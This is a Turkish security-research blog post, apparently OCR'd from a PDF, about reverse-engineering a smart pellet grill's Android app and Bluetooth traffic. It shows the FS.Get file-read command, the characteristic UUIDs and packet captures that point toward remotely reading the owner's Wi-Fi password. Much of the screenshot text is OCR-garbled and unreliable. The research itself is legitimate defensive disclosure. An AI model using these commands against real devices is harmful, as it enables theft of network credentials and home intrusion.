Aki1lli Izgarami Nasil
Hackledim 7

written by Mert SARICA | 2 October 2023
If you are looking for an English version of this article, please visit here.

Ust diizey biirokrat olan Mert SARICA’y1 hedef alan Rus Askeri Istihbarat
Dairesi (GRU), yasadigi evinin kablosuz agina sizip Cok Gizli sinifindaki
belgeleri ele gecirmesi i¢in 2004 yilindan bu yana faaliyetlerine devam eden
26165 birimi olan namidiger APT 28 hacker grubunu gdérevlendirir.

10 Nisan’da diplomatik pasaport ile Ulkeye giris yapan APT 28 grup uUyeleri,
kiraladiklari Citroen C3 marka arabanin bagajina, kablosuz ag hacklemek igin
bir bilgisayar ve cesitli donanimlardan olusan techizatlarini yerlestirdikten

hemen sonra evin adresine dogru yola koyulurlar.



https://www.mertsarica.com/akilli-izgarami-nasil-hackledim/
https://www.mertsarica.com/akilli-izgarami-nasil-hackledim/
https://www.hack4career.com/how-i-hacked-my-smart-grill/
https://en.wikipedia.org/wiki/GRU
https://en.wikipedia.org/wiki/GRU
https://attack.mitre.org/groups/G0007/
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Eve yaklastiklarinda hedef alacaklari kablosuz agin adini (SSID) tespit
edebilmek icin Wardriving yontemine basvururlar. Evin 6ninden 2 defa
gectikten sonra sinyal seviyesi en ylksek olan Hack4Career aginin ona ait
oldugunu tespit ederler.

Sliphe cekmemek ig¢in eve en yakin sokagin basina arabalarini park eden APT 28
grubu, WPA3 protokoliu ile korunan kablosuz agin, 6zel karakter de iceren 15
hane uzunlugundaki alfanumerik parolasini tespit etmek igin bilgisayarin
basina gecerler.


https://en.wikipedia.org/wiki/Service_set_(802.11_network)#SSID
https://en.wikipedia.org/wiki/Wardriving
https://www.wi-fi.org/discover-wi-fi/security

Uzun ugraslar sonucunda sifreyi kiramayacaklari konusuna kanaat getiren grup,
evin etrafinda kesfe (reconnaissance) cikmaya karar verirler.

GUnUmuz dunyasinda mutfak gereclerinden, otomobillere, termostatlardan,
akilli ev sistemlerine kadar bircok alanda karsilasilan Nesnelerin
Internetinin (IoT), barindirdiklari zafiyetler nedeniyle kolayca istismar
edilebilmesi sebebiyle akilli cihaz aramaya koyulurlar.

Istatistiklere gore 2023 yili itibariyle gezegenimizde 8 milyar insan
yasarken, IoTlerin sayisinin ise insan sayisinin iki katina yani 16 milyara
ulastigi gorulmektedir.

Kisa bir kesif gezisinden sonra terasta yer alan ve fise takili olan Wi-Fi,
Bluetooth destekli akilli pelet 1zgarasi dikkatlerini c¢eker. Marka ve
modelinin fotografini uzaktan cektikten sonra bir tane satin alip, zafiyet
arastirmasi yapmaya baslarlar. 8 saatin sonunda sadece fise takili olmasi
yeterli olan bu 1zgaraya Bluetooth lUzerinden gonderdikleri bir paket/komut
sayesinde dahil oldugu kablosuz agin adini ve parolasini uzaktan kolayca elde
etmeyi basarairlar.

Bu bilgi 1si1ginda vakit kaybetmeden arabalarina binip Mert SARICA’nin evine
dogru yola cikarlar. Araclarini sokagin basindaki ayni yere park ettikten
sonra 300 metre mesafeden bilgisayarlarinin USB baglanti noktasina taktiklari
Parani-UD100 aygit ile Bluetooth Uzerinden akilli 1zgaraya paket/komut
gonderirler. Akilli 1zgaradan gelen yanit ile Hack4Career kablosuz ag adini,
15 haneli parolayi elde ettikten sonra basariyla kablosuz aga baglanirlar ve

operasyonlarinin birinci adimini basariyla tamamlamis olurlar.

Yukarida anlattigim bu kurgu hikaye bircogunuza iki nedenden dolayi Utopik
gelebilir.

. Birincisi, Rus hackerlarin ellerini kollarini sallayarak bir Ulkeye giris
yapip daha sonrasinda kablosuz bir aga sizmaya calismalarina ancak bir film
senaryolarinda rastlanabilecegini diisiinebilirsiniz. Bu sekilde dislinenlerin
2018 yilina ait su habere g6z atmalarini tavsiye ederim. Eminim ki haberde
yer alan bazi fotograflar sizlere bir yerden tanidik gelecektir. :)

. Ikinci neden ise akilli bir 1zgarayi hackleyerek ev adina sizmanin pratikte
bu kadar kolay olamayacagini ve bunun da ancak Mr. Robot dizisinin bir

boliminde gerceklesebilecegini disiinebilirsiniz. Bu sekilde disilinenlerinizi


https://www.nato.int/cps/en/natohq/topics_111830.htm#:~:text=Both%20surveillance%20and%20reconnaissance%20include,analysed%2C%20turning%20information%20into%20intelligence.
https://en.wikipedia.org/wiki/Internet_of_things
https://en.wikipedia.org/wiki/Internet_of_things
https://iot-analytics.com/number-connected-iot-devices/
https://talassan.com/pelet-yakitli-izgaralar-ve-pelet-mangallar-artik-avrupada-ve-amerikada-moda-oldu/
http://www.senanetworks.com/ud100-g03.html
https://www.bbc.com/news/world-europe-45747472
https://www.imdb.com/title/tt4158110/

de bu defa basroldeki kisinin ve tim anlatilanlarin gercgek oldugu asagidaki
hikaye ile basbasa birakiyorum. :)

Barbeki sezonunun yaklasmasiyla 2023 yilinin Nisan ayinda evimin terasinda
kullanmak lUzere bir mangal arayisina girdim. Kémirle her defasinda kim
ugrasacak, gazli mangal gibi pratik bir sey mi alsam derken WiFi ve Bluetooth
destekli akilli bir pelet yakitli 1zgara satin almaya karar verdim.

Izgara elime ulastiktan sonra her ne kadar yillardir “Akilli cihaz demek,

casus cihaz demektir.” desem de akilli cihazlar kullanmayi tercih etmekten
geri kalmayan biri olarak (Doktorun dedigini yap, yaptigini yapma derler.)



1zgaranin kullanim kilavuzunda yer alan mobil uygulamayi indirip, kurdum.
Hemen ardindan da cuvaldizi kendime batirarak kendimi elestiren bir tweeet
paylasmayi ihmal etmedim. :)

Honeypot isimli bir kisi tarafindan gonderilen tweet aslinda yapacagim

guvenlik arastirmasina bir nevi davetiye cikardi.

Honeypot

mangal zeroday research loading...

186

Uygulamayi actiktan sonra yodnlendirmeleri takip ederek once Bluetooth
Uzerinden 1zgarayi ekledim ardindan da kablosuz agimin parolasini girerek

1zgarayl ev agima dahil ettim.


https://twitter.com/MertSARICA/status/1640896418876407809
https://twitter.com/malicousroot
https://twitter.com/malicousroot/status/1640979457056862209

PRODUCT SETUP

STEP 1:
Open your settings and ensure Bluetooth is enabled
on this device

STEP 2:
Select your product when it appears below

580

790 @

1000

If you don't see your product, move closer to the
product and make sure the product is turned on.

CONTINUE



CONNECTING




WIFISET UP SKip

Select your WiFi network and enter your network
password. Your grill will automatically switch between
Bluetooth and WiFi for the best connection.

SELECT YOUR WI-FI NETWORKS



WIFI SET UP

Enter the password for: ...

CONTINUE



Esimle birlikte 1zgarada ilk yemegimizi pisirip, afiyetle yedikten sonra

tabii ki satin aldigim cihazlari, aygitlari givenlik arastirmalarima (Kos

Mert Kos vb.) konu eden biri olarak bu akilli 1zgarayi da bos gecmemeye karar

verdim. :)

Ilk is olarak ApkPure sitesinden 1zgaranin mobil uygulamasini indirip jadx

araci ile kaynak kodunu incelemeye basladim. Derleme asamasinda herhangi bir

gizleme yontemi (obfuscation) kullanilmadigi i¢in kaynak kodlarini rahatlikla

inceleyebildim.

< awable €, BuildConfig ¢, BuildConfig €, AddDeviceView € AddDeviceView$stepProgressChecks$3

30 | public final class BleCommandMaker {

public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final
public static final

public final String

public final String
return "{\"id\"
}

public final String
return "{\"id\"

public final String
return "{\"id\"

public final String

String BT_ICON = "225 225 000 011 000 080 007";
Companion Companion = new Companion(null);

String PAUSE = "225 225 000 009 000 048 051 000";
String POWER_OFF = "225 225 000 009 000 048 002 000";
String POWER_OFFN . = "02";

int QUERY_AF_MODE =
int QUERY_AF_ONOFF =
int QUERY_AF_TEMP = 5;

int QUERY_AF_TIME = 6;

String SET_MODE = "225 225 000 009 000 048 007";

String SET_TEMP_MODE_TO_CELIUS = "225 225 000 009 000 048 003 001";
String SET_TEMP_MODE_TO_CELIUSI L = "22";

String SET_TEMP_MODE_TO_FAHRENHEIT = "225 225 000 009 000 048 003 000";
String SET_TEMP_MODE_TO_FAHRENHEIT ! = "21";

String START = "225 225 000 009 000 048 051 001";

String TURN_IT_OFF = "254 036 000 255";

String TURN_IT_ON = "254 036 001 255";

String WARMOFF = "225 225 000 009 000 048 020 000";

String WARMON = "'225 225 000 009 000 048 020 001";

private final JSONObject command;
private final JSONObject params = new JSONObject();
private final String TAG = "BleCommandMaker";|

ConvertFCyy (boolean z) {

return z ? SET_TEMP_MODE_TO_FAHRENHEITH : SET_TEMP_MODE_TO_CELIUSTN.;

eraseAppJsWithComment () {
11099, \"method\" :\"FS.Put\",\"params\": {\" filename\" :\"app.js\",\"append\": false,\"data\":\"

getGrillStatus() {
11932, \"method\" : \"SendGenericCommand\" ,\"params\": {\" command\":\"254 011 001 255\"}}";

getIPAddress() {
:888,\"method\":\"GetCurrentIP\",\"params\": {}}";

getState() {

Code Smali Simple Fallback Split view

¢, BleCommandMaker v

7¥ loaded‘;;om:‘classes3.dex */

NB;


https://www.mertsarica.com/kos-mert-kos/
https://www.mertsarica.com/kos-mert-kos/
https://github.com/skylot/jadx

< awable C BuildConfig C, BuildConfig €, AddDeviceView © AddDeviceView$stepProgressChecks3 Cs BleCommandMaker \Z

435 public final String getFileContent(String fileName, int i) {
Intrinsics.checkNotNullParameter(fileName, "fileName");
436 return " {\"id\":999,\"method\" :\"FS.Get\",\"params\":{\"filename\":\"" + fileName + "\", \"offset\": 0, \"len\":" + i + "}} ";
}
439 public final String setUpWiFiWithSecurity(String ssid, String wifiPassword) {

Intrinsics.checkNotNullParameter(ssid, "ssid");
Intrinsics.checkNotNullParameter(wifiPassword, "wifiPassword");

440 return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params\": { \"config\": { YUhtepre { \"hidden_files\": \"x.x\"
464 public final String sendSSID(String ssid) {
Intrinsics.checkNotNullParameter(ssid, "ssid");
465 return "{\"id\":1205,\"method\":\"Config.Set\",\"params\": {\"config\": {\"wifi\":{\"sta\": {\"ssid\": \"" + ssid + "\"}}}}}";
}
468 public final String sendPass(String pass) {
Intrinsics.checkNotNullParameter(pass, "pass");
469 return "{\"id\":1204,\"method\" :\"Config.Set\",\"params\":{\"config\": {\"wifi\":{\"sta\": {\"pass\": \"" + pass + "\"}}}}}\n";
}
477 public final String setAWSFrequency(int i) {
try {
478 this.command.put("id", BleCommandMakerKt.ID_SET_AWS_FREQUENCY);
479 this.command.put(FirebaseAnalytics.Param.METHOD, "SendGenericCommand");
480 this.params.put("command", "254 011 001 255");
481 this.params.put("frequency", i);
482 this.command.put(NativeProtocol.WEB_DIALOG_PARAMS, this.params);
483 String jSONObject = this.command.toString();

Intrinsics.checkNotNullExpressionValue(jSONObject, "command.toString()");
return jSONObject;
} catch (JSONException unused) {

return "";
}
496 public final String setProbeTemperature(int i, int i2) {
try {
497 this.command.put(FirebaseAnalytics.Param.METHOD, "SetTemperature");
498 this.params.put(TypedValues.Attributes.S_TARGET, Intrinsics.stringPlus("probe", Integer.valueOf(i)));
499 this.params.put(“amount”, i2);
500 this.command.put(NativeProtocol.WEB_DIALOG_PARAMS, this.params);
Code Smali Simple Fallback [ ] split view
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Kodlar arasinda biraz gezindikten sonra getFileContent() fonksiyonuna
parametre olarak gonderilen init.js dikkatimi cekti. getFileContent()
fonksiyonunu inceledigimde Fs.Get metodu ile 1zgaranin isletim sisteminde yer

alan init.js dosyasini okudugunu gérdim.

if (Intrinsics.areEqual(descriptor.getCharacteristic().getUuid(), BluetoothLeService.UUID_CHARACTERISTIC_RPC)) {
Crashlytics crashlytics2 = Crashlytics.INSTANCE;
str3 = BluetoothLeService.TAG;
crashlytics2.d(str3, "onDescriptorWrite: RPC response enabled.");
if (PreferenceHelper.read(PreferenceHelper.CONNECTDEVICEN) , false).booleanvalue() || P == null) {
return;
}

.addIntoQueue(new BleCommandMaker().getFileContent("init.js", 20), BaseBleServiceActivity.QUERY_COMMAND) ;
return;
}
Crashlytics crashlytics3 = Crashlytics.INSTANCE;
str2 = BluetoothLeService.TAG;
crashlytics3.d(str2, "STATUS notification registered.");
= BluetoothLeService.this.blindActivity;
if [ == null) {
return;

.onBleConnected() ;

}
};
private final IBinder mBinder = new LocalBinder(this); IS ‘there a Way to replace
public final int getConnectionState() { init.js with Someth|ng
return this.connectionState; "
} valuable from the attacker’s
public boolean getBluetoothConnectDeviceisNXG1() { perspective?

return this.bluetoothConnectDeviceisNXG1;




public final String getFifleContent(String fileName, int i) {
Intrinsics.checkNotNullParameter(fileName, "fileName");
return " {\"id\":999,\"method\":\"FS.Get\",\"params\":{\"filename\":\"" + fileName + "\", \"offset\": @, \"len\":" + i + "}} *;

public final String setUpWiFiwWithSecurity(String ssid) ing wifiPassword) {

Intrinsics.checkNotNullParameter(ssid, "ssid");

Intrinsics.checkNotNullParameter(wifiPassword, "wifiPassword

return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params \"config\": { \"http\": { \"hidden_files\": \"x.*x\"
}

public final String sendSSID(String ssid) {
Intrinsics.checkNotNullParameter(ssid, "ssid");
return "{\"id\":1205,\"method\":\"Config.Set\",\"params\":{\"config\":

Might FS.Get method be a clue of the

public final String sendPass(String pass) { i
Intrinsics.checkNotNullParameter(pass, "pass"); target Operatlng SyStem ?
return "{\"id\":1204,\"method\":\"Config.Set\",\"params\":{\"config\":

}

publie final Strina setAWSFreauencv(int i) {

Tabii bunu goérince kafamda simsekler cakti ve aklimda tek bir soru belirdi:
“init.js yerine baska bir dosya ismini Bluetooth Uzerinden 1zgaraya
iletirsem, gelen yanitta o dosyanin icerigini gorebilir miydim?”

Bu sorunun yanitini bulmak igin Kos Mert Kos baslikli blog yazimda oldugu
gibi mobil uygulama ile 1zgara arasindaki Bluetooth haberlesmeyi incelemek
ic¢in Samsung’un destek sayfasinda Bluetooth paketleri kaynakli problem
yasayan bir kisinin mesajina yazilan yanittaki adimlari adim adim
gerceklestirdim.

btsnoop hci.log dosyasini Wireshark ile analiz etmeye basladigimda iletisimin
bir noktasinda mobil uygulamanin, 1zgaranin
5f6d4f53-5f52-5043-5f74-785f63746¢5f
(CHARACTERISTIC BROIL KING WRITE DATA LENGTH) Bluetooth servisinin
karakteristigine ait olan 0x33 taniticisina (handle) 00000055 degerini
yazdigini (WRITE REQUEST) gordim.

Sonraki adimda ise bu defa 5f6d4f53-5f52-5043-5f64-6174615f5f5f
(CHARACTERISTIC BROIL KING WRITE COMMAND) servisinin karakteristigine ait
olan O0x2e taniticisina (handle),

{“1d"”:999, "method” :"FS.Get"”,"”params”:{“filename”:”init.js”,"offset”: 0 ,

“len”:20}} komutunun parca parca gonderildigini (WRITE REQUEST) goOrdim.


https://www.mertsarica.com/kos-mert-kos/
https://forum.developer.samsung.com/t/bluetooth-crash-and-data-corruption-galaxy-s20-fe-and-other-sd-865-based-devices/10746
https://tr.wikipedia.org/wiki/Bluetooth_Low_Energy#Servisler_ve_Karakteristikler
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] ‘ bluetooth.addr ==

Packet bytes

| Time
631 2023-03-29
638 2023-03-29
664 2023-03-29
665 2023-03-29
667 2023-03-29
680 2023-03-29
681 2023-03-29
686 2023-03-29
687 2023-03-29
693 2023-03-29
695 2023-03-29
714 2023-03-29
715 2023-03-29
730 2023-03-29
737 2023-03-29
755 2023-03-29
756 2023-03-29

Bluetooth
Bluetooth HCI H4

< vvwvyvwy

20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:

57:
57:
57:
57:
57:
57:
57:
57:
57

:32.522430
:32.608808
32.614125

57

57:
57:
57:
57:
57:
57:
57:

Frame 687: 16 bytes on

&& btl2cap.cid == 0x0004

Narrow (UTF-8 /ASCIl) ¢ Case sensitive String

| Source
—

31.846382
31.887194
32.339135
32.339751
32.340757 .

|
32.428583

[

|

32.429422
32.518386

32.878727
32.884968
33.058503
33.064478
33.418322
33.421552

wire (128 bits), 16 bytes captured (128 bits)

Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol

> Opcode: Write Request (@x12)
Handle: 0x0033 (Unknown)
Value: 00000055

£ btsnoop_hci.log

Q Qe M

3 initjs

| Destination

BE N
.. [ | 14 Sent
10 Revd
16 Sent

|

Il N

Sent the length of the
command. (85 characters)

® [E  value (btattvalue), 4 bytes

ADAd© mEKRE QE2EF S

] \ bluetooth.addr ==
No. | Time
667 2023-03-29
680 2023-03-29
681 2023-03-29
686 2023-03-29
687 2023-03-29
693 2023-03-29
695 2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29

2072_02_70

20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:

20:
20.

57:
:32.428583
57
57:
57: .
57:
57:
132.878727
57:32.884968 ‘
57:
57:
57:
57:
:33.688494
:33.691795
57:
57:
57:
57:
57:

34.326329
“24 cana1n [

57

i/

57
57

&7

Frame 695: 32 bytes on

Bluetooth
Bluetooth HCI H4

&& btl2cap.cid == 0x0004

| Source
32.340757

32.429422
32.518386
32.522430
32.608808
32.614125

33.058503
33.064478
33.418322
33.421552

33.868371
33.868977
34.176298
34.319599

wire (256 bits), 32 bytes captured (256 bits)

Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (@x12)
Handle: 0x002e (Unknown)
Value: 207b226964223a3939392c226d6574686764223a

® [E  Vvalue (btattvalue), 20 bytes

| Protoce| Length | Info

ATT 16 Sent

ATT 12 Sent

ATT 10 Rcvd

. ATT 12 Revd
ATT 16 Sent

14 Rcvd

10 Rcvd
. 32 Sent
10 Rcvd
32 Sent
. 10 Rcvd

32 Sent
ATT 10 Rcvd
ATT 32 Sent

Find Cancel

Handle Value Indication, Handle: 0x0003 (Un
Exchange MTU Request, Client Rx MTU: 500
Handle Value Confirmation, Handle: 0x0003 (
Exchange MTU Response, Server Rx MTU: 500
Read By Type Request, Server Supported Feat
Error Response - Attribute Not Found, Handl
Write Request, Handle: 0x0031 (Unknown)
Write Response, Handle: @0x@@31 (Unknown)
Write Request, Handle: 0x0033 (Unknown)
Write Response, Handle: @x0033 (Unknown)
Write Request, Handle: 0x@02e (Unknown)
Write Response, Handle: @x002e (Unknown)
Write Request, Handle: 0x002e (Unknown)
Write Response, Handle: 0x002e (Unknown)
Write Request, Handle: 0x@02e (Unknown)
Write Response, Handle: 0x002e (Unknown)
Write Request, Handle: @x@02e (Unknown)

0000 02 43 00 Ob 00 07 00 04 00 12 33 00 00 00 00 55 G B u

Packets: 1029 - Displayed: 159 (15.5%) Profile: Default

btsnoop_hci.log

Q Qe

| Destination

Sent
L II- Revd

m nn " S

| Protoce| Length | Info
16 Sent

14 Rcvd

14 Sent

10 Rcvd

Sent

Rcvd

Sent
Revd
Sent
Revd
Sent

Rcvd
Revd

. . Sent

Revd

Sent
H 0 brud

Read By Type Request, Server Supported Feat
Error Response - Attribute Not Found, Handl
Write Request, Handle: @x@031 (Unknown)
Write Response, Handle: 0x0031 (Unknown)
Write Request, Handle: 0x@033 (Unknown)
Write Response, Handle: 0x0033 (Unknown)
Write Request, Handle: 0x002e (Unknown)
Write Response, Handle: @0x@@2e (Unknown)
Write Request, Handle: 0x@02e (Unknown)
Write Response, Handle: @x002e (Unknown)
Write Request, Handle: @x002e (Unknown)
Write Response, Handle: 0x002e (Unknown)
Write Request, Handle: 0x002e (Unknown)
Write Response, Handle: 0x002e (Unknown)
Write Request, Handle: @x002e (Unknown)
Handle Value Notification, Handle: 0x0030 (
Write Response, Handle: @x002e (Unknown)
Read Request, Handle: @x002e (Unknown)
Read Response, Handle: 0x002e (Unknown)
Write Request, Handle: 0x@02b (Unknown)

Writa Dacnnanca Handla: OvAOOh (linknaum)

0000 02 43 00 1b 00 17 00 04 00 12 2e 00 20 7b 22 69 C . - [
0010 64 22 3a 39 39 39 2c 22 6d 65 74 68 6f 64 22 3a  d":999," method":

Sent the 1st part of the
command in 20 bytes.

Packets: 1029 - Displayed: 159 (15.5%) Profile: Default




@ £ btsnoop_hci.log

ADAO mEENE Qe2ETF S Qa e H

L] ‘ bluetooth.addr == && btl2cap.cid == 0x0004
No. | Time | Source | Destination | Protocc| Length | Info
665 2023-03-29 20:57:32.339751 ATT 12 Rcvd Exchange MTU Response, Server Rx MTU: 500
667 2023-03-29 20:57:32.340757 - . - -A'I'I' 16 Sent Read By Type Request, Server Supported Feat
680 2023-03-29 20:57:32.428583 ATT 14 Rcvd Error Response - Attribute Not Found, Handl
2023-03-29 20:57:32.429422 . ATT 14 Sent Write Request, Handle: 0x0@31 (Unknown)
2023-03-29 20:57:32.518386 ATT 10 Rcvd Write Response, Handle: 0x0031 (Unknown)
2023-03-29 20:57:32.522430 ATT 16 Sent Write Request, Handle: 0x0@33 (Unknown)
2023-03-29 20:57:32.608808 ATT 10 Rcvd Write Response, Handle: 0x0033 (Unknown)
2023-03-29 20:57:32.614125 “ . . ATT 32 Sent Write Request, Handle: ©x002e (Unknown)
2023-03-29 20:57:32.878727 ATT 10 Rcvd Write Response, Handle: 0x@02e (Unknown)
2023-03-29 20:57:32.884968 ATT 32 Sent Write Request, Handle: 0x002e (Unknown)
2023-03-29 20:57:33.058503 . . ATT 10 Rcvd Write Response, Handle: ©x@@2e (Unknown)
2023-03-29 20:57:33.064478 ATT 32 Sent Write Request, Handle: 0x002e (Unknown)
2023-03-29 20:57:33.418322 ATT 10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
2023-03-29 20:57:33.421552 . -ATT 32 Sent Write Request, Handle: 0x0@2e (Unknown)
775 2023-03-29 20:57:33.688494 . . ATT 10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
776 2023-03-29 20:57:33.691795 ATT 17 Sent Write Request, Handle: @x002e (Unknown)
793 2023-03-29 20:57:33.868371 ATT 16 Rcvd Handle Value Notification, Handle: 0x0030 (
794 2023-03-29 20:57:33.868977 - . . ATT 10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
795 2023-03-29 20:57:34.176298 ATT 12 Sent Read Request, Handle: @x@02e (Unknown)
797 2023-03-29 20:57:34.319599 !A‘I’I’ 105 Rcvd Read Response, Handle: 0x@02e (Unknown)
706 2073 A2 20 2a.£7.24 392370 E h2ihaiE (Mavkic €39 H1+ea) Ecmenrci E3.4%.42 (MVD AE2ED AT 14 Cant Leitn D Uandlar BuBA%h (Hinbnacn)
Frame 715: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 0000 02 43 00 1b 00 17 00 04 00 12 2e 00 22 46 53 2e G . - ESE
Bluetooth 0010 47 65 74 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 Get","pa rams":{"
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (0x12)
Handle: @x@02e (Unknown)
Value: 2246532e476574222c22706172616d73223a7b22

K vvvevwy

Sent the 2nd part of the
command in 20 bytes.

® E  value (btattvalue), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default

[ ) £ btsnoop_hci.log

A A mEKE Qe>2=EF 3 E

] \bluetooth.addr == & btl2cap.cid == 0x0004 [X]

No. | Time | Source | Destination | Protoca| Length | Info
667 2023-03-29 20:57:32.340757 ATT 16 Sent Read By Type Request, Server Supported Feat
680 2023-03-29 20:57:32.428583 ATT 14 Rcvd Error Response - Attribute Not Found, Handl
681 2023-03-29 20:57:32.429422 ATT 14 Sent Write Request, Handle: 0x0031 (Unknown)
686 2023-03-29 20:57:32.518386 N | B ATT 10 Rcvd Write Response, Handle: @x@@31 (Unknown)
687 2023-03-29 20:57:32.522430 ATT Sent Write Request, Handle: 0x@033 (Unknown)
693 2023-03-29 20:57:32.608808 ATT Rcvd Write Response, Handle: 0x0033 (Unknown)
695 2023-03-29 20:57:32.614125 . ATT Sent Write Request, Handle: 0x@02e (Unknown)
714 2023-03-29 20:57:32.878727 . -ATT Rcvd Write Response, Handle: 0x002e (Unknown)
715 2023-03-29 20:57:32.884968 ATT Sent Write Request, Handle: 0x@02e (Unknown)
730 2023-03-29 20:57:33.058503 ATT Rcvd Write Response, Handle: 0x0@2e (Unknown)

737 2023-03-29 20:57:33.064478 . ATT Sent Write Request, Handle: 0x@02e (Unknown)
755 2023-03-29 20:57:33.418322 ATT Rcvd Write Response, Handle: 0x@@2e (Unknown)

756 2023-03-29 20:57:33.421552 ATT Sent Write Request, Handle: 0x@02e (Unknown)
775 2023-03-29 20:57:33.688494 ATT Rcvd Write Response, Handle: ©x@02e (Unknown)
776 2023-03-29 20:57:33.691795 . J . . ATT Sent Write Request, Handle: @x002e (Unknown)
793 2023-03-29 20:57:33.868371 ATT Rcvd Handle Value Notification, Handle: 0x0030 (
794 2023-03-29 20:57:33.868977 ATT Rcvd Write Response, Handle: 0x@@2e (Unknown)

795 2023-03-29 20:57:34.176298 B .. B ATT Sent Read Request, Handle: 0x@02e (Unknown)

797 2023-03-29 20:57:34.319599 ATT Rcvd Read Response, Handle: 0x@02e (Unknown)
798 2023-03-29 20:57:34.326329 ATT 14 Sent Write Request, Handle: @x002b (Unknown)
90 7072_0370 20.57.324 Ran1> [ | [ H 10 Dol Urita Dacnanca Handla: GuAB%R (linknmm)
Frame 737: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 0000 02 43 00 1b 00 17 00 04 00 12 2e 00 66 69 6¢C 65 © . - [EE
Bluetooth 0010 6e 61 6d 65 22 3a 22 69 6e 69 74 2e 6a 73 22 2c  name' nit.js",
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (0x12)
Handle: 0x002e (Unknown)
Value: 66696c656e616d65223a22696e69742e6a73222c

Sent the 3rd part of the
command in 20 bytes.

® E  Vvalue (btattvalue), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default




[ ] £ btsnoop_hci.log

ADAG® mEKNE QA>T ¢ E aQa e H

L] ‘ bluetooth.addr == &8& btl2cap.cid == 0x0004

Packet bytes B Narrow (UTF-8 /ASCIl) ¢ Case sensitive String ¢ initjs Find
| Time | Source | Destination | Protoce| Length | Info
681 2023-03-29 20:57:32.429422 ATT 14 Sent Write Request, Handle: 0x0031 (Unknown)
686 2023-03-29 20:57:32.518386 . - . - -A'I'I' 10 Rcvd Write Response, Handle: 0x@031 (Unknown)
687 2023-03-29 20:57:32.522430 16 Sent Write Request, Handle: 0x0033 (Unknown)
2023-03-29 20:57:32.608808 ] || B 10 Rcvd Write Response, Handle: 0x0033 (Unknown)
2023-03-29 20:57:32.614125 32 Sent Write Request, Handle: 0x002e (Unknown)
2023-03-29 20:57:32.878727 10 Rcvd Write Response, Handle: @x@@2e (Unknown)
2023-03-29 20:57:32.884968 32 Sent Write Request, Handle: @x002e (Unknown)
2023-03-29 20:57:33.058503 - . 10 Rcvd Write Response, Handle: @x002e (Unknown)
2023-03-29 20:57:33.064478 32 Sent Write Request, Handle: 0x0@2e (Unknown)
2023-03-29 20:57:33.418322 10 Rcvd Write Response, Handle: 0x@02e (Unknown)
756 2023-03-29 20:57:33.421552 .. [ | 32 Sent Write Request, Handle: 0x@02e (Unknown)
775 2023-03-29 20:57:33.688494 10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
776 2023-03-29 20:57:33.691795 17 Sent Write Request, Handle: 0x002e (Unknown)
793 2023-03-29 20:57:33.868371 - . 16 Rcvd Handle Value Notification, Handle: 0x0030 (
794 2023-03-29 20:57:33.868977 . . 10 Rcvd Write Response, Handle: 0x@02e (Unknown)
795 2023-03-29 20:57:34.176298 12 Sent Read Request, Handle: @x002e (Unknown)
797 2023-03-29 20:57:34.319599 105 Rcvd Read Response, Handle: 0x002e (Unknown)
Frame 756: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 0000 02 43 00 1b 00 17 00 04 00 12 2e 00 20 22 6f 66 G o ]
Bluetooth 0010 66 73 65 74 22 3a 20 30 2c 20 22 6c 65 6e 22 3a fset": @ , "len":
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (@x12)
Handle: 0x002e (Unknown)
Value: 20226f6666736574223a20302c20226c656€223a

< vvwvyvwy

Sent the 4th part of the
command in 20 bytes.

® [ Vvalue (btattvalue), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default

@ £ btsnoop_hci.log

ADACO mERR Qes>=F I R CRICHICN
] \ bluetooth.addr == i && btl2cap.cid == 0x0004

Packet bytes Narrow (UTF-8 /ASCIl) ¢ Case sensitive String ¢ initjs Find Cancel

| Time | Source | Destination | Protocc| Length | Info
681 2023-03-29 20:57:32.429422 . . ATT 14 Sent Write Request, Handle: 0x0031 (Unknown)
686 2023-03-29 20:57:32.518386 ATT 10 Rcvd Write Response, Handle: 0x@@31 (Unknown)
687 2023-03-29 20:57:32.522430 ATT 16 Sent Write Request, Handle: ©x0033 (Unknown)
. . ATI’ 10 Rcvd Write Response, Handle: 0x@033 (Unknown)
32 Sent Write Request, Handle: @x002e (Unknown)
10 Rcvd Write Response, Handle: 0x@02e (Unknown)
32 Sent Write Request, Handle: @x002e (Unknown)
10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
32 Sent Write Request, Handle: 0x002e (Unknown)
10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
ATI’ 32 Sent Write Request, Handle: 0x002e (Unknown)
ATT 10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
2023-03-29 20:57:33.691795 ATT 17 Sent Write Request, Handle: 0x002e (Unknown)
2023-03-29 20:57:33.868371 - . ATT 16 Rcvd Handle Value Notification, Handle: 0x0030 (
2023-03-29 20:57:33.868977 ATT 10 Rcvd Write Response, Handle: 0x@02e (Unknown)
